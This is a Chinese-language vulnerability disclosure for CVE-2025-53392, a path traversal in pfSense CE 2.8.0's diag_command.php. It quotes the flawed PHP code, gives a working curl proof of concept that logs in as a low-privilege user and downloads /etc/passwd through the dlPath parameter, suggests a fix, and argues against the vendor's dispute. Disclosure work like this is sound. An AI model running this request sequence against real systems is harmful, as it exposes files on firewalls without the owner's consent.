CVE-2025-53392CWE-36(绝对路径遍历)CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N仅限授权的测试和研究目的。 请勿在您不拥有或未获得明确许可的系统上测试或利用此漏洞。
pfSense CE 2.8.0 的诊断页面 diag_command.php 存在本地文件泄露漏洞,允许经过身份验证的用户从底层文件系统下载任意文件。
此功能缺乏任何路径清理、目录限制或除权限分配之外的访问控制。
漏洞逻辑位于文件 src/usr/local/www/diag_command.php 中:
if ($_POST['submit'] == "DOWNLOAD" && file_exists($_POST['dlPath'])) {
session_cache_limiter('public');
send_user_download('file', $_POST['dlPath']);
}
用户控制的 dlPath 参数未经过任何安全检查或清理措施。
PHP 进程能够读取的任何文件路径都将直接返回给用户。
创建 low-priv 组并分配单一权限(WebCfg - 诊断:命令)

我承认
WebCfg - 诊断:命令权限存在安全免责声明,但仅凭声明并不能替代合理的访问控制。“允许访问诊断命令页面” 这一表述含糊不清,且低估了风险——它实际上允许无限制的 root 级命令执行,而不仅仅是诊断访问。
Web 界面中的权限标签必须准确反映其允许操作的范围和严重程度,尤其是在暴露完整管理控制权的情况下。
将 low-priv 组分配给 dev 用户

此概念验证演示了仅分配了 WebCfg - 诊断:命令 权限的用户如何通过滥用未经清理的 dlPath 参数窃取 /etc/passwd 文件。
# 1. 开始会话并提取 CSRF 令牌
curl -k -c cookies.txt -s https://<IP>/diag_command.php > login_page.html
csrf_token=$(grep '__csrf_magic' login_page.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')
# 2. 以低权限用户 "dev" 进行身份验证
curl -k -b cookies.txt -c cookies.txt \
-d "__csrf_magic=$csrf_token" \
-d "usernamefld=dev" \
-d "passwordfld=pass" \
-d "login=Sign+In" \
https://<IP>/index.php > /dev/null
# 3. 获取登录后的 CSRF 令牌
curl -k -b cookies.txt -s https://<IP>/diag_command.php > diag_authed.html
csrf_token=$(grep '__csrf_magic' diag_authed.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')
# 4. 窃取任意文件(示例:/etc/passwd)
curl -k -b cookies.txt -s -X POST https://<IP>/diag_command.php \
-d "__csrf_magic=$csrf_token" \
-d "submit=DOWNLOAD" \
-d "dlPath=/etc/passwd"

任何被分配了 WebCfg - 诊断:命令 权限的 pfSense 用户都可以:
这违反了最小权限原则,并打破了逻辑权限边界。
realpath() 和路径前缀强制将 dlPath 限制在安全的基础目录(如 /tmp)内.. 或绝对路径的路径CVE-2025-53392,标记为“厂商争议”虽然供应商声称访问此页面等同于获取 root 权限,但这混淆了 Web 级别权限与无限制的后端访问权限。
权限应通过技术手段强制执行(而非假设),UI 中的警告不能替代安全设计。
针对供应商声称此功能已“充分文档化”的论点——我在 pfSense 的用户权限文档中未找到任何说明 WebCfg - 诊断:命令 权限等同于 root 级别访问的内容。

供应商可能指的是诊断命令页面本身包含关于误用的一般性警告。
但文档并未明确将此功能与 WebCfg - 诊断:命令 权限关联,也未说明该权限会授予 root 级别访问权限。
防火墙 Web 界面中的诊断模块应具备适当的安全防护措施,以防止对底层操作系统的滥用。
此项工作是在我的雇佣关系之外进行的,反映的是我个人在网络安全研究方面的努力。